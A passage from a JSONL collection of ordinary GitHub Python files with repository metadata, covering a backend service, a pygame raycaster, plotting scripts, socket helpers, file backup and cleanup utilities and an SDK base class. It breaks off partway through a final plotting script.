+{"seq_id":"5954048744","text":"# app/services/coordinator_service.py\n\nfrom marshmallow import ValidationError\n\nfrom app.schemas.coordinator_user_schema import TryAnswerSchema\nfrom app.models.learning_module_model import LearningModule\n\n\nclass CoordinatorService():\n\n def tryAnswerModule(self, moduleId, jsonData):\n \"\"\"Method for answers a learning module \n params:\n moduleId: str,\n data: {\"userId\": \"str\", \"answers\":[{\"quizId\": \"str\", \"option\": \"str\"}]} \n \"\"\"\n schema = TryAnswerSchema()\n try:\n module = LearningModule.objects(\n id=moduleId, isDeleted=False).first()\n if not module:\n raise ValidationError(\n {\"moduleId\": [{\"status\": \"6\",\n \"msg\": \"Record not found\"}]}\n )\n\n data = schema.load(jsonData)\n coordinator = data[\"coordinator\"]\n return coordinator.tryAnswerLearningModule(module, data[\"answers\"])\n\n except ValidationError as err:\n return err.normalized_messages(), 400\n","repo_name":"amblemaorg/amblema---backend","sub_path":"app/services/coordinator_service.py","file_name":"coordinator_service.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"74156867226","text":"from munch import Munch\nfrom os import path\nfrom pydash import _\n\nsteps_ran = Munch()\n\nclass Step():\n cache = True\n\n def __init__(self, name, app):\n self.name = name\n self.app = app\n self.log = app.log\n\n def run_required(self):\n global steps_ran\n steps = self.app.steps\n cached = True\n if not hasattr(self, 'requires'):\n return False\n if len(self.requires) <= 0:\n cached = False\n for required in self.requires:\n maybe_cached = True\n if _.includes(_.keys(steps_ran), required):\n maybe_cached = steps_ran[required]\n else:\n maybe_cached = getattr(steps, required).start()\n if not maybe_cached:\n cached = maybe_cached\n return cached\n\n def is_cached(self, cached):\n s = self.app.services\n spinner = self.app.spinner\n if hasattr(self, 'root') and self.root and not self.app.finished:\n return False\n if not hasattr(self, 'checksum_paths') and not hasattr(self, 'has_paths'):\n return cached\n if not cached and (not hasattr(self, 'root') or not self.root) and \\\n (not hasattr(self, 'agnostic') or not self.agnostic):\n return cached\n cached = True\n checksum_paths = self.checksum_paths if hasattr(self, 'checksum_paths') else []\n has_paths = self.has_paths if hasattr(self, 'has_paths') else []\n for checksum_path in checksum_paths:\n checksum = s.cache.checksum(checksum_path)\n cached_checksums = s.cache.get_checksums(self.name)\n if not _.includes(cached_checksums, checksum):\n cached = False\n break\n for has_path in has_paths:\n if not path.exists(has_path):\n cached = False\n break\n return cached\n\n def register(self):\n s = self.app.services\n if hasattr(self, 'checksum_paths'):\n s.cache.register(self.name)\n\n def start(self, *args):\n if hasattr(self, 'init'):\n self.init()\n spinner = self.app.spinner\n cached = self.run_required()\n origional_cached = cached\n spinner.start(self.messages.present)\n cached = self.is_cached(cached)\n if cached:\n if hasattr(self, 'agnostic') and self.agnostic:\n cached = origional_cached\n if not hasattr(self, 'cache') or self.cache != False:\n return self.cached(cached)\n self.run(*args)\n self.register()\n return self.finish(cached)\n\n def cached(self, cached):\n global steps_ran\n s = self.app.services\n spinner = self.app.spinner\n steps_ran[self.name] = cached\n spinner.warn(self.messages.past + ' using cache')\n return cached\n\n def finish(self, cached):\n s = self.app.services\n spinner = self.app.spinner\n steps_ran[self.name] = cached\n spinner.succeed(self.messages.past)\n return cached\n","repo_name":"clayrisser/forkbuntu","sub_path":"forkbuntu/step.py","file_name":"step.py","file_ext":"py","file_size_in_byte":3074,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"11"} +{"seq_id":"31142076347","text":"\"\"\"Constants re-used across different files.\"\"\"\n\nfrom enum import Enum\n\nAPI = \"api\"\nCHARGERS_API = \"chargers_api\"\nCONF_CHARGERS = \"chargers\"\nDOMAIN = \"smartenergy_goecharger\"\nINIT_STATE = \"init\"\nMANUFACTURER = \"go-e GmbH\"\nUNSUB_OPTIONS_UPDATE_LISTENER = \"unsub_options_update_listener\"\nSTATUS = \"status\"\nONLINE = \"online\"\nOFFLINE = \"offline\"\n\n# API attributes\n\nCAR_STATUS = \"car_status\"\nCHARGER_ACCESS = \"charger_access\"\nCHARGER_FORCE_CHARGING = \"charger_force_charging\"\nCHARGER_MAX_CURRENT = \"charger_max_current\"\nCHARGING_ALLOWED = \"charging_allowed\"\nENERGY_SINCE_CAR_CONNECTED = \"energy_since_car_connected\"\nENERGY_TOTAL = \"energy_total\"\nMIN_CHARGING_CURRENT_LIMIT = \"min_charging_current_limit\"\nMAX_CHARGING_CURRENT_LIMIT = \"max_charging_current_limit\"\nPHASE_SWITCH_MODE = \"phase_switch_mode\"\nPHASES_NUMBER_CONNECTED = \"phases_number_connected\"\nTRANSACTION = \"transaction\"\n\n# Custom attributes\n\nWALLBOX_CONTROL = \"wallbox_control\"\n\n# Car param status values\n\n\nclass CarStatus(str, Enum):\n \"\"\"List of possible car status values.\"\"\"\n\n # 1\n CHARGER_READY_NO_CAR = \"Charger ready, no car connected\"\n # 2\n CAR_CHARGING = \"Car is charging\"\n # 3\n CAR_CONNECTED_AUTH_REQUIRED = \"Car connected, authentication required\"\n # 4\n CHARGING_FINISHED_DISCONNECT = \"Charging finished, car can be disconnected\"\n","repo_name":"openkfw/smartenergy.goecharger","sub_path":"custom_components/smartenergy_goecharger/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"31859402509","text":"# Lines class, it has points, angolar coefficient and q of the line in case they are needed\nclass Line:\n def __init__(self, x1_, y1_, x2_, y2_):\n import sys\n from math import atan\n self.x1 = x1_\n self.y1 = y1_\n self.x2 = x2_\n self.y2 = y2_\n y21 = self.y2-self.y1\n x21 = self.x2-self.x1\n if x21 != 0:\n self.m = y21/x21\n if y21*x21 > 0:\n self.a = atan(self.m)\n else:\n self.a = -atan(self.m)\n else:\n self.m = 1e6\n self.q = self.y2 - self.m*self.x2\n\n def show(self, screen):\n import pygame\n white = (255, 255, 255)\n pygame.draw.line(screen, white, (self.x1, self.y1), (self.x2, self.y2))\n\n# class of Boxes in case you want to use boxes instead of lines\nclass Box:\n def __init__(self, l1_, l2_, l3_, l4_):\n self.l1 = l1_\n self.l2 = l2_\n self.l3 = l3_\n self.l4 = l4_\n # calculation for surface sizes\n self.edges = [self.l1, self.l2, self.l3, self.l4]\n self.minx = min(self.l1.x1, self.l2.x1, self.l3.x1, self.l4.x1)\n self.minx = min(self.minx, self.l1.x2, self.l2.x2, self.l3.x2, self.l4.x2)\n self.maxx = max(self.l1.x1, self.l2.x1, self.l3.x1, self.l4.x1)\n self.maxx = max(self.maxx, self.l1.x2, self.l2.x2, self.l3.x2, self.l4.x2)\n\n self.miny = min(self.l1.y1, self.l2.y1, self.l3.y1, self.l4.y1)\n self.miny = min(self.l1.y2, self.l2.y2, self.l3.y2, self.l4.y2, self.miny)\n self.maxy = max(self.l1.y1, self.l2.y1, self.l3.y1, self.l4.y1)\n self.maxy = max(self.l1.y2, self.l2.y2, self.l3.y2, self.l4.y2, self.maxy)\n\n def show(self, screen):\n import pygame\n for l in self.edges:\n pygame.draw.line(screen, white, (l.x1, l.y1), (l.x2, l.y2))\n\n# Function to check if there is an intersection between 2 lines\ndef check_intersection(l1, l2):\n x1 = l1.x1\n x2 = l1.x2\n x3 = l2.x1\n x4 = l2.x2\n y1 = l1.y1\n y2 = l1.y2\n y3 = l2.y1\n y4 = l2.y2\n\n den = (x1 - x2) * (y3 - y4) - (y1 - y2) * (x3 - x4)\n if den == 0: # Parallel lines\n return (x4, y4)\n t = ((x1 - x3) * (y3 - y4) - (y1 - y3) * (x3 - x4))/den\n u =-((x1 - x2) * (y1 - y3) - (y1 - y2) * (x1 - x3))/den\n\n if t > 0 and t < 1 and u > 0: # There's intersection\n x = x1 + t * (x2 - x1)\n y = y1 + t * (y2 - y1)\n return (x, y)\n else: # Out of boundaries of the lines\n return (x4, y4)\n\n# Caluclate the distance between two points\ndef check_dist(x1, x2, y1, y2):\n from numpy import sqrt\n dist = (x2-x1)**2 + (y2-y1)**2\n dist = sqrt(dist)\n return dist\n\n# class Player:\n# def __init__(self):\n\n\ndef start():\n import pygame\n from numpy import pi, cos, sin, sqrt\n black = ( 0, 0, 0)\n white = (255,255,255)\n n = 100\n delta = pi/n*2\n pygame.init()\n WIDTH = 800\n HEIGHT = 400\n r = 800*sqrt(2)\n screen = pygame.display.set_mode((WIDTH, HEIGHT))\n pygame.display.set_caption(\"Lines\")\n running = True\n l = Line(200,300,400,310)\n while running:\n window = pygame.Surface((WIDTH, HEIGHT))\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n else:\n (xMouse, yMouse) = pygame.mouse.get_pos()\n for i in range(0,40):\n ll = Line(xMouse, yMouse, xMouse + r*cos(delta*i), yMouse + r*sin(delta*i))\n (x, y) = check_intersection(l, ll)\n pygame.draw.line(window, white, (xMouse, yMouse), (x, y))\n screen.blit(window, (0,0))\n l.show(screen)\n pygame.display.update()\n\ndef generateObstacles(WIDTH, HEIGHT, nObstacles, borders=True, continuous=False):\n from random import randint\n lX = 100\n lY = 200\n obstacles = []\n if not continuous:\n for i in range(nObstacles):\n a = randint(0,WIDTH/2)\n b = randint(0,HEIGHT)\n obstacles.append(Line(a, b, a+randint(-lY, lY), b+randint(-lY, lY)))\n if borders:\n obstacles.append(Line(WIDTH/2, 0, WIDTH/2, HEIGHT))\n obstacles.append(Line(0, 0, 0, HEIGHT))\n obstacles.append(Line(0, 0, WIDTH/2, 0))\n obstacles.append(Line(0, HEIGHT, WIDTH/2, HEIGHT))\n else:\n a = randint(0,WIDTH/2)\n b = randint(0,HEIGHT)\n tempA = a\n tempB = b\n for i in range(nObstacles-1):\n c = a + randint(0, lX)\n d = b + randint(0, lY)\n obstacles.append(Line(a, b, c, d))\n a = c\n b = d\n obstacles.append(Line(tempA, tempB, c, d))\n return obstacles\n\ndef generateBoxes(WIDTH, HEIGHT, nBoxes):\n from random import randint\n boxes = []\n for i in range(nBoxes):\n obs = generateObstacles(WIDTH, HEIGHT, 4, False, True)\n boxes.append(obs)\n return boxes\n\ndef check_key():\n import pygame\n movementX = 0\n movementY = 0\n if pygame.key.get_pressed()[pygame.K_LEFT] or pygame.key.get_pressed()[pygame.K_a]:\n movementX = -1\n movementY = 0\n elif pygame.key.get_pressed()[pygame.K_RIGHT] or pygame.key.get_pressed()[pygame.K_d]:\n movementX = 1\n movementY = 0\n if pygame.key.get_pressed()[pygame.K_UP] or pygame.key.get_pressed()[pygame.K_w]:\n movementY = 1\n movementX = 0\n elif pygame.key.get_pressed()[pygame.K_DOWN] or pygame.key.get_pressed()[pygame.K_s]:\n movementY = -1\n movementX = 0\n return movementX, movementY\n\ndef drawRays(obstacles, screen, nRays, xPlayer, yPlayer, delta, direction, r, distances, deltaX, WIDTH, HEIGHT):\n from math import cos, sin, sqrt\n import pygame\n white = (255, 255, 255)\n for l in obstacles:\n pygame.draw.line(screen, white, (l.x1, l.y1), (l.x2, l.y2))\n for i in range(-int(nRays/2),int(nRays/2)):\n x = xPlayer + r*cos(delta*i + direction)\n y = yPlayer + r*sin(delta*i + direction)\n ll = Line(xPlayer, yPlayer, x, y)\n minDist = r\n indexDist = -1\n for l in obstacles:\n (x1, y1) = check_intersection(l, ll)\n dist = check_dist(xPlayer, x1, yPlayer, y1)\n if dist < minDist:\n minDist = dist\n (x, y) = (x1, y1)\n pygame.draw.line(screen, white, (xPlayer, yPlayer), (x, y))\n distances[i+int(nRays/2)] = minDist\n # Second screen (3D)\n for i in range(nRays):\n x = deltaX*i + WIDTH/2\n h = HEIGHT-(distances[i])*cos(delta*(i-nRays/2))\n surf = pygame.Surface((2, h))\n surf.fill((255,255,255))\n surf.set_alpha(h*255/(HEIGHT))\n screen.blit(surf, (x, (HEIGHT-h)/2))\n\n\n# Main\ndef tr():\n import pygame\n from pygame.time import delay\n from numpy import pi, cos, sin, sqrt\n from math import atan, tan\n black = ( 0, 0, 0)\n white = (255,255,255)\n pygame.init()\n\n # Pygame Scene\n WIDTH = 800\n HEIGHT = 400\n screen = pygame.display.set_mode((WIDTH, HEIGHT))\n pygame.display.set_caption(\"Lines\")\n\n # Attributes\n velocity = 10\n direction = 0\n xPlayer = WIDTH/4\n yPlayer = HEIGHT/2\n nObstacles = 10\n nBoxes = 0\n nRays = 100\n deltaX = WIDTH/2/nRays\n movementX = 0\n r = max(WIDTH/2, HEIGHT)*sqrt(2)\n obstacles = generateObstacles(WIDTH, HEIGHT, nObstacles)\n distances = [max(WIDTH/2, HEIGHT) for i in range(nRays)]\n boxes = generateBoxes(WIDTH, HEIGHT, nBoxes)\n fov = pi\n\n # Running\n running = True\n while running:\n window = pygame.Surface((WIDTH/2, HEIGHT))\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n (movementX, movementY) = check_key()\n\n if pygame.key.get_pressed()[pygame.K_u]:\n fov += 0.1\n elif pygame.key.get_pressed()[pygame.K_l]:\n fov -= 0.1\n delta = fov/nRays\n screen.fill(0)\n xPlayer += movementY*cos(direction)*velocity\n yPlayer += movementY*sin(direction)*velocity\n direction += movementX*0.1\n\n # First screen\n drawRays(obstacles, screen, nRays, xPlayer, yPlayer, delta, direction, r, distances, deltaX, WIDTH, HEIGHT)\n pygame.display.flip()\n","repo_name":"Andrea1198/motore_grafico","sub_path":"src/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":8505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"70149471388","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\nThis script is copied from\nhttp://martin-thoma.com/matrix-multiplication-python-java-cpp/\n\"\"\"\nimport random\nrandom.seed(1234)\n\n\ndef createRandomMatrix(n):\n maxVal = 1000\n matrix = []\n for _ in xrange(n):\n matrix.append([random.randint(0, maxVal) for el in xrange(n)])\n return matrix\n\n\ndef saveMatrix(matrixA, matrixB, f):\n #f = open(filename, 'w')\n for i, matrix in enumerate([matrixA, matrixB]):\n if i != 0:\n f.write(\"\\n\")\n for line in matrix:\n f.write(\"\\t\".join(map(str, line)) + \"\\n\")\n\n\nif __name__ == '__main__':\n import argparse, sys\n parser = argparse.ArgumentParser()\n parser.add_argument('-n', '--num', default=3, type=int)\n parser.add_argument('-o', '--out', type=argparse.FileType('w'),\n default=sys.stdout)\n args = parser.parse_args()\n\n n = args.num\n matrixA = createRandomMatrix(n)\n matrixB = createRandomMatrix(n)\n saveMatrix(matrixA, matrixB, args.out)\n","repo_name":"gosom/matrix-multiplication-benchmark","sub_path":"create-matrixes.py","file_name":"create-matrixes.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"16797393188","text":"import matplotlib.pyplot as plt\nimport csv\n\nx = []\ny = []\nw = []\nz = []\n\nwith open('BullyNormal.txt','r') as csvfile:\n plots = csv.reader(csvfile, delimiter=' ')\n for row in plots:\n x.append(float(row[2]))\n y.append(float(row[5]))\n\nwith open('BullyImproved.txt','r') as csvfile:\n plots = csv.reader(csvfile, delimiter=' ')\n for row in plots:\n w.append(float(row[2]))\n z.append(float(row[5]))\n\nplt.plot(x,y,'r',label='Normal')\nplt.plot(w,z,'b',label='Improved')\nplt.xlabel('Number of processes')\nplt.ylabel('Number of messages sent')\nplt.title('Comparing methods')\nplt.legend()\nplt.show()\n","repo_name":"isabelleferreira3000/projeto-ces-27","sub_path":"plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"15326041020","text":"import socket\n\nHOST = ''\nPORT = 10023\nBACKLOG = 100\nBUFFER_SIZE = 4096\n\ndef create_socket(host, port):\n\tsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\tsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\tsock.bind((host, port))\n\tsock.listen(BACKLOG)\n\treturn sock\n\ndef receive_message(sock):\n\tdata = bytearray()\n\tmessage = ''\n\twhile not message:\n\t\treceived = sock.recv(BUFFER_SIZE)\n\t\tif not received:\n\t\t\traise RuntimeError()\n\t\tdata = data + received\n\t\tif b'\\0' in received:\n\t\t\tmessage = data.rstrip(b'\\0')\n\tmessage = message.decode('utf-8')\n\treturn message\n\ndef prepare_message(message):\n\tmessage += '\\0'\n\treturn message.encode('utf-8')\n\ndef send_data(sock, data):\n\tmessage = prepare_message(data)\n\tsock.sendall(message)\n","repo_name":"sanjeetsuhag/CVDataLink","sub_path":"CVProtocol.py","file_name":"CVProtocol.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"15181916382","text":"import json\nimport os\nimport shutil\nimport sys\nfrom lab4_pods import do_in_cmd, return_path_to_backup, return_path_to_file_history\n\ndef restore():\n dir_path = sys.argv[1] if len(sys.argv) > 0 else os.getcwd()\n\n backup_dir = return_path_to_backup()\n\n history_file = return_path_to_file_history(backup_dir)\n backup_dates = []\n\n with open(history_file, 'r') as file:\n for line in file:\n backup_dates.append(json.loads(line))\n\n is_running = True\n backup_file = \"\"\n\n while is_running:\n for i, data in enumerate(backup_dates):\n print(f\"{i + 1}. data: {data['data']}; path: {data['path']}; dir name: {data['dir name']}\")\n print()\n try:\n backup_num = int(input(\"Enter the number of the backup to restore: \"))\n if backup_num > len(backup_dates) or backup_num < 0:\n print(\"You selected non-existent record\")\n print()\n else:\n is_running = False\n backup_file = backup_dates[backup_num - 1]['path']\n except ValueError:\n print(\"You didn't provide a number\")\n print()\n\n command = f'powershell.exe Expand-Archive -Path {os.path.join(backup_file)} -DestinationPath {os.path.dirname(dir_path)}'\n\n shutil.rmtree(dir_path)\n\n if do_in_cmd(command):\n return\n\nif __name__ == \"__main__\":\n restore()","repo_name":"skowron4/Backups-and-restoring-a-backup","sub_path":"lab4_b.py","file_name":"lab4_b.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"36027826506","text":"#hello world.py/python123.io answer\nnum=input(\"请输入一个整数:\")\ndata=\"Hello World\"\nif eval(num)==0:\n print(\"Hello World\")\nelif eval(num)>0:\n for i in range(len(data)):\n m=data[i]\n print(m,end=\"\")\n n=i%2\n if n==1:\n print(\"\\n\",end=\"\")\nelse :\n for i in range(len(data)):\n m=data[i]\n print(m)\n","repo_name":"monochrme/Monochrome","sub_path":"test_Hello_World.py","file_name":"test_Hello_World.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"44556813037","text":"import os,sys\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.by import By\nfrom webdriver_manager.chrome import ChromeDriverManager\nimport winreg\nimport yaml\ndef getLocalPath():\n\n return os.path.dirname(os.path.realpath(sys.argv[0]))\n\ndef getLocalYmlFile(BASE_DIR, path):\n with open(os.path.join(BASE_DIR,path), 'r', encoding='utf-8') as fp:\n a = fp.read()\n\n return yaml.load(a, Loader=yaml.FullLoader)\n\ndef createdisguisedriver():\n chrome_options = webdriver.ChromeOptions()\n # chrome_options = Options()\n chrome_options.add_argument('--headless')\n chrome_options.add_argument('--disable-gpu')\n # 开启忽略浏览器证书报错\n chrome_options.add_argument('--ignore-certificate-errors-spki-list')\n chrome_options.add_argument('--ignore-ssl-errors')\n chrome_options.add_argument('--ignore-ssl-error')\n chrome_options.add_argument('log-level=2')\n s = Service(executable_path=ChromeDriverManager().install())\n return webdriver.Chrome(service=s, options=chrome_options)\ndef createDiscloseDriver():\n chrome_options = webdriver.ChromeOptions()\n # chrome_options = Options()\n chrome_options.add_experimental_option('useAutomationExtension', False)\n # 开启忽略浏览器证书报错\n chrome_options.add_argument('--ignore-certificate-errors-spki-list')\n chrome_options.add_argument('--ignore-ssl-errors')\n chrome_options.add_argument('--ignore-ssl-error')\n chrome_options.add_argument('log-level=2')\n chrome_options.add_experimental_option('excludeSwitches', ['enable-automation', 'enable-logging'])\n s = Service(executable_path=ChromeDriverManager().install())\n return webdriver.Chrome(service=s, options=chrome_options)\n\ndef is_element_exist(driver, element):\n flag = True\n try:\n driver.find_element(By.XPATH,element)\n return flag\n except:\n flag = False\n return flag\n\n\n\n# 浏览器注册表信息\n\n\n\ndef get_browser_path(browser):\n \"\"\"\n 获取浏览器的安装路径\n\n :param browser: 浏览器名称\n \"\"\"\n _browser_regs = {\n 'IE': r\"SOFTWARE\\Clients\\StartMenuInternet\\IEXPLORE.EXE\\DefaultIcon\",\n 'chrome': r\"SOFTWARE\\Clients\\StartMenuInternet\\Google Chrome\\DefaultIcon\",\n 'edge': r\"SOFTWARE\\Clients\\StartMenuInternet\\Microsoft Edge\\DefaultIcon\",\n 'firefox': r\"SOFTWARE\\Clients\\StartMenuInternet\\FIREFOX.EXE\\DefaultIcon\",\n '360': r\"SOFTWARE\\Clients\\StartMenuInternet\\360Chrome\\DefaultIcon\",\n }\n try:\n key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, _browser_regs[browser])\n print(key)\n except FileNotFoundError:\n return None\n value, _type = winreg.QueryValueEx(key, \"\")\n print(value)\n return value.split(',')[0]","repo_name":"news-epoch/Python_project","sub_path":"reptile/OracleRegister/RegisterHome/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"11533318659","text":"from google.appengine.ext import db\nfrom handlers.blog import BlogHandler\nfrom template import *\n\n# DESTROY Comment\nclass DeleteCommentHandler(BlogHandler):\n \"\"\" This class DESTROYS the comment for post_id \"\"\"\n\n def get(self, post_id, post_user_id, comment_id):\n\n if self.user and self.user.key().id() == int(post_user_id):\n postkey = db.Key.from_path('Post', int(post_id), parent=blog_key())\n key = db.Key.from_path('Comment', int(comment_id), parent=postkey)\n comment = db.get(key)\n comment.delete()\n\n self.redirect('/' + post_id)\n\n elif not self.user:\n self.redirect('/login')\n\n else:\n self.write(\"You don't have permission to delete this comment.\")","repo_name":"jp853/udacity-multi-user-blog-project","sub_path":"multi_user_blog_final_original_copy/handlers/remove_comment.py","file_name":"remove_comment.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"43462491632","text":"import os\r\nimport shutil\r\nimport time\r\ndef main():\r\n path1= input(\"enter the path\")\r\n days=int(input(\"how old do you want your files to be\"))\r\n deleted_folders=0\r\n deleted_files=0\r\n # time.time returns the amount of time in seconds from jan 6,1981\r\n seconds = time.time()-(days*24*60*60)\r\n\r\n exist = os.path.exists(path1)\r\n\r\n if exist is True:\r\n \r\n for root_folder,folders,files in os.walk(path1):\r\n if seconds >= get_age(root_folder):\r\n remove_folders(root_folder)\r\n deleted_folders=deleted_folders +1\r\n break\r\n else:\r\n for folder in folders:\r\n folder_path=os.path.join(root_folder,folder)\r\n if seconds >= get_age(folder_path):\r\n remove_folders(folder_path)\r\n deleted_folders=deleted_folders +1\r\n for file in files:\r\n file_path=os.path.join(root_folder,file)\r\n if seconds >= get_age(file_path):\r\n remove_files(file_path)\r\n deleted_files=deleted_files +1\r\n else:\r\n print(\"file not found\")\r\n \r\n print(deleted_folders,deleted_files)\r\n \r\n\r\n \r\n\r\ndef remove_files(path1):\r\n if not os.remove(path1):\r\n print(\"file deleted\")\r\n else:\r\n print(\"file delete failed\")\r\n\r\ndef remove_folders(path1):\r\n if not shutil.rmtree(path1):\r\n print(\"folder deleted\")\r\n else:\r\n (\"folder not deleted\")\r\n\r\ndef get_age(path1):\r\n ctime=os.stat(path1).st_ctime\r\n\r\n return ctime\r\n\r\nmain()","repo_name":"awesomegamer9595/backupfile","sub_path":"removefiles.py","file_name":"removefiles.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"7627323075","text":"import os\n\nimport django\nfrom faker import Faker\n\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'WhoWantstoBeaMillionaire.settings')\ndjango.setup()\n\nfrom questionnaire.models import QuestionAnswer\nfrom user.models import User\n\nfake = Faker()\n\n\ndef create_question_answer():\n for i in range(1, 100):\n qa = QuestionAnswer.objects.get(pk=i)\n qa.default_answer = qa.answers.all()[0]\n qa.save()\n\n\ndef create_user_answer():\n user = User.objects.get(pk=1)\n for i in range(5):\n qa = QuestionAnswer.objects.get(pk=fake.random_int(min=0, max=QuestionAnswer.objects.count()))\n user.questions.add(qa)\n\n\nif __name__ == \"__main__\":\n create_question_answer()\n create_user_answer()\n","repo_name":"pd-Shah/WhoWantstoBeaMillionaire","sub_path":"drop_db.py","file_name":"drop_db.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"23238668046","text":"from .exceptions import ConfigException, ServiceCallException\nfrom .servicecall import ServiceCall\nfrom jsonschema import validate\nfrom .json_schema import JsonSchemaRules\nimport configparser\nfrom os import path\n\n\nclass PodBase(object):\n __config = None\n PRODUCTION_MODE = \"PRODUCTION\"\n SANDBOX_MODE = \"SANDBOX\"\n\n __slots__ = (\"_api_token\", \"_token_issuer\", \"_server_type\", \"_config_path\", \"_request\", \"_default_params\",\n \"_json_schema_rules\", \"_services_file_path\", \"_services\")\n\n def __init__(self, api_token, token_issuer=\"1\", server_type=\"sandbox\", config_path=None, sc_api_key=\"\",\n sc_voucher_hash=None, json_schema_file_path=\"\"):\n\n self._services = None\n if sc_voucher_hash is None:\n sc_voucher_hash = []\n\n self._default_params = {\n \"sc_voucher_hash\": sc_voucher_hash,\n \"sc_api_key\": sc_api_key\n }\n\n self._api_token = str(api_token)\n self._token_issuer = str(token_issuer) or \"1\"\n\n if len(self._api_token) == 0:\n raise ConfigException(\"Please set API Token\")\n\n if server_type.lower() == \"production\" or server_type.lower() == \"prod\":\n self._server_type = self.PRODUCTION_MODE\n else:\n self._server_type = self.SANDBOX_MODE\n\n self._config_path = config_path or path.join(path.abspath(path.dirname(__file__)), 'config.ini')\n self.__read_config()\n self.__read_service_ids()\n self._request = ServiceCall(self._get_base_url(), sc_api_key=sc_api_key, sc_voucher_hash=sc_voucher_hash)\n self._json_schema_rules = JsonSchemaRules(file_path=json_schema_file_path)\n\n def __read_config(self):\n if PodBase.__config is not None:\n return\n\n PodBase.__config = configparser.ConfigParser()\n PodBase.__config.read(self._config_path)\n\n def _get_base_url(self):\n base_url = self._get_config(\"base_url\")\n\n if base_url:\n return base_url\n\n raise ConfigException(\"Can`t find base_url for {0} mode\".format(self._server_type))\n\n def _get_config(self, key, default=\"\", server_type=\"\"):\n server_type = server_type or self._server_type\n if server_type not in PodBase.__config.sections():\n raise ConfigException(\"Can`t find settings for {0} mode\".format(server_type))\n\n if key in PodBase.__config[server_type]:\n return PodBase.__config[server_type][key]\n\n return default\n\n def _get_headers(self):\n \"\"\"\n :rtype: dict\n \"\"\"\n return {\n \"_token_\": self._api_token,\n \"_token_issuer_\": self._token_issuer\n }\n\n def total_items(self):\n return self._request.total_items()\n\n def last_response(self):\n \"\"\"\n :return: :class:`Response ` object\n :rtype: requests.Response\n \"\"\"\n return self._request.last_response\n\n def __read_service_ids(self):\n if self._services is not None:\n return\n\n config = configparser.ConfigParser()\n config.read(self._services_file_path)\n if self._server_type not in config.sections():\n raise ConfigException(\"Can`t find file services id in {0} mode\".format(self._server_type))\n\n self._services = config[self._server_type]\n\n def _get_sc_product_id(self, url, method_type=\"get\"):\n \"\"\"\n :exception ServiceCallException\n :param string url:\n :param string method_type:\n :return: int\n \"\"\"\n key = method_type.lower() + url.replace(\"/\", \"_\")\n if key not in self._services:\n raise ServiceCallException(\"Can`t find service id for [{0}] {1} API\".format(method_type.upper(), url))\n\n return self._services[key]\n\n def _validate(self, document, schema_name):\n \"\"\"\n :raise\n `jsonschema.exceptions.ValidationError` if the instance\n is invalid\n\n `jsonschema.exceptions.SchemaError` if the schema itself\n is invalid\n \"\"\"\n validate(instance=document, schema=self._json_schema_rules.get_rules(schema_name))\n","repo_name":"FanapSoft/pod-base-python-sdk","sub_path":"pod_base/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"22377862662","text":"import pytest\nfrom mock import patch\nfrom cpx_client import CPXClient\n\ndef test_cpx_client():\n\n client = CPXClient()\n servers = ['10.58.1.8', '10.58.1.4']\n instance = {\n 'cpu': '10%',\n 'memory': '10%',\n 'service': 'TestService'\n }\n\n print(client._endpoint)\n\n # mock_get_patcher = patch('')\n # mock_get = mock_get_patcher.start()\n\n # mock_get.return_value.json.return_value = instance\n # mock_get.return_value.ok = True\n\n response = client._get_instances()\n print(response)\n # assert_is_not_none(response)\n assert True is True\n","repo_name":"DiegoVazquezNanini/cookie-factory","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"42737356318","text":"import matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nlabels = [2, 3, 4, 5]\npure_v2v = [5.5195e8, 8.3924e8, 1.134e9, 1.434e9]\npure_v2i = [6.7918e8, 8.2381e8, 9.409e8, 1.0034e9]\nserial = [7.893e8, 1.046e9, 1.311e9, 1.537e9]\nparallel = [1.143e9, 